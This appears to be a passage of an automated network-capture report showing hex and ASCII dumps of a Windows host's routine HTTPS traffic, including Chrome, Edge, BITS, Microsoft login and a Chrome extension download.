2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 38 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700288,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-18 12:29:13 UTC	194	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 0d 0a Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)
2024-11-18 12:29:13 UTC	390	IN	Data Raw: 31 37 66 0d 0a 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 62 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 Data Ascii: 17fif(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\u003d_.be(a);return a};_.de\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);re
2024-11-18 12:29:13 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f Data Ascii: 8000\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Mc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Mc(a,b))};_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49718	142.250.185.68	443	3580	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:29:13 UTC	933	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 12:29:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 12:29:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-18 12:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49728	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 12:29:17 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=188167 Date: Mon, 18 Nov 2024 12:29:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49729	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 12:29:18 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=188127 Date: Mon, 18 Nov 2024 12:29:18 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 12:29:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49734	94.245.104.56	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:22 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:22 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 18 Nov 2024 12:29:21 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49738	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-18 12:29:23 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 12:29:24 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 12:28:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: c53e3d5f-e733-4b10-994f-0b5e659548a1 PPServer: PPV: 30 H: BL02EPF0001D98E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 12:29:23 GMT Connection: close Content-Length: 11392
2024-11-18 12:29:24 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49745	142.250.185.161	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:24 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:24 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC4aLkN4vLfx9Ko-Kyn2_Aqimi4nXxGXfYQ7A9BuUNzlci1gEIyelbKyXlYP7WA06kvj9xQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 17 Nov 2024 17:35:54 GMT Expires: Mon, 17 Nov 2025 17:35:54 GMT Cache-Control: public, max-age=31536000 Age: 68010 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 12:29:24 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data 